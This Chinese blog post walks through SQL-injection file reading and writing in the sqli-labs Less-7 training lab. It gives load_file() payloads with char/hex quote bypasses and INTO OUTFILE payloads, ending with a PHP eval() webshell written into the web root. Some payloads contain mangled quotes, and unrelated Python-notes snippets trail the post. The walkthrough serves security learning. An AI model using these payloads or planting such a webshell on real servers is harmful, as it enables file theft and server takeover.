Less07 檔案型注入

2021-09-29 02:18:53 字數 2312 閱讀 8059

參考:

1. load_file()匯出檔案

1.簡介

load_file(file_name): 讀取檔案並返回該檔案的內容作為乙個字串。
2.使用條件

必須有許可權讀取並且檔案必須完全可讀
and (select count() from mysql.user)>0/ 如果結果返回正常,說明具有讀寫許可權。

and (select count() from mysql.user)>0/ 返回錯誤,應該是管理員給資料庫帳戶降權

欲讀取檔案必須在伺服器上

必須指定檔案完整的路徑

欲讀取檔案必須小於 max_allowed_packet

如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式返回空。比較難 滿足的就是許可權,在 windows 下,如果 ntfs 設定得當,是不能讀取相關的檔案的,當遇到只有 administrators 才能訪問的檔案,users 就別想 load_file 出來。

3.在實際的注入中,我們有兩個難點需要解決

物理路徑

構造有效的畸形語句(報錯爆出絕對路徑)

在很多 php 程式中,當提交乙個錯誤的 query,如果 display_errors = on,程式就會暴露 web 目錄的絕對路徑,只要知道路徑,那麼對於乙個可以注入的 php 程式來說,整個伺服器的安全將受到嚴重的威脅。

1.測試

?id=-1』)) or 1=1–+
2.讀檔案

前提條件:

當前許可權對該檔案可讀

檔案在該伺服器上

路徑完整

檔案大小小於 max_allowed_packet

當前資料庫使用者有 file 許可權

secure_file_priv的值為空,如果值為某目錄,那麼就只能對該目錄的檔案進行操作測試 payload

正常匯入:

?id=-1' union select 1,2,load_file('/etc/php5/apache2/php.ini')--+

通過char()函式將ascii十進位制形式轉為字元形式,可繞過引號過濾:

?id=-1' union select 1,2,load_file(char(47,101,116,99,47,112,104...))--+

十六進製制形式匯入:

?id=-1' union select 1,2,load_file(0x2f6574632f706870352f6170616...)

可用於 smb 協議:

?id=-1' union select 1,2,load_file('//etc/php5/apache2/php.ini')--+

可用於 dns 隧道:

?id=-1' union select 1,2,load_file('\\\\etc\\php5\\apache2\\php.ini')--+

3.匯出到檔案

前提條件

目標目錄要有可寫許可權

當前資料庫使用者要有file許可權

目標檔案不能已存在

secure_file_priv的值為空

路徑完整

outfile後的檔案路徑不能用十六進製制或配合char()來實現,只能用引號這種形式 寫檔案

?id=-1')) union select 1,2,3 into outfile ('/var/www/sqli-labs/less-7/uuu.txt')--+

?id=-1')) union select 1,2,3 into dumpfile ('/var/www/sqli-labs/less-7/uuu.txt')--+

可寫成:正常形式,ascii碼形式,十六進製制形式,smb協議形式,dns隧道形式

1.測試

?id=-1')) or 1=1--+
2.匯出到檔案

將查詢結果匯出到檔案

?i`d=-1』)) union select 1,2,3 into outfile (』/var/www/sqli-labs/less-7/uuu.txt』)–+`
我們可以直接將一句話木馬匯入進去

?id=1』))union select 1,2,』<?php @eval($\_post[?mima?])?>』 into outfile 「/var/www/sqli-labs/less-7/test.php」–+
可以使用菜刀連線木馬

python學習筆記07 檔案

現在開始學習檔案了,其實前面的學習中還有不少遺漏的地方,以後我會繼續改進,加油 1.3逐行讀取 1.4建立乙個包含檔案各行內容的列表 1.5使用檔案內容 2.寫入檔案 with open hello.txt as file object text file object.read print tex...

Python Task 07 檔案與檔案系統

python task 07 檔案與檔案系統 1.open 方法 描述os.getcwd 返回當前工作目錄 os.chdir path 改變當前工作目錄到指定的路徑 os.listdir path 返回path指定的資料夾包含的檔案或資料夾的名字的列表 os.mkdir path 建立單層目錄,如果...

Python基礎07 檔案與檔案系統

open 方法 python open 方法用於開啟乙個檔案,並返回檔案物件,在對檔案進行處理過程都需要使用到這個函式,如果該檔案無法被開啟,會丟擲 oserror。注意 使用 open 方法一定要保證關閉檔案物件,即呼叫 close 方法。open 函式常用形式是接收兩個引數 檔名 file 和模...